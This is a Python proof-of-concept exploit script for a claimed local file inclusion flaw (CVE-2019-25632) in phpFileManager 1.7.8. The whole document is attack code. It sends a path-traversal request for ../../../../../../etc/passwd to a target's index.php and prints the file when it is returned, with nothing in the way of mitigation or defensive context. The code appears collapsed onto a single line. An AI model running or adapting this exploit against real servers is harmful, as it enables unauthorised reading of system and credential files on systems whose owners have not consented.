CVE-2019-25632

#!/usr/bin/env python3 # PoC for CVE-2019-25632 phpFileManager LFI Vulnerability import requests def exploit(target_url): """ Exploit the Local File Inclusion vulnerability in phpFileManager 1.7.8. Allows reading arbitrary files on the server. """ # The vulnerable endpoint url = f"{target_url}/index.php" # Malicious parameters to read /etc/passwd # 'action' triggers the file operation, 'filename' contains the path traversal payload = { "action": "view", "fm_current_dir": "/", "filename": "../../../../../../etc/passwd" } try: print(f"[*] Sending request to {url}...") response = requests.get(url, params=payload, timeout=10) if response.status_code == 200: # Check if typical /etc/passwd content is returned if "root:" in response.text: print("[+] Exploit successful! Sensitive file content found:") print(response.text[:500]) # Print first 500 chars else: print("[-] Request sent, but no expected file content found.") else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://localhost/phpFileManager") else: exploit(sys.argv[1])

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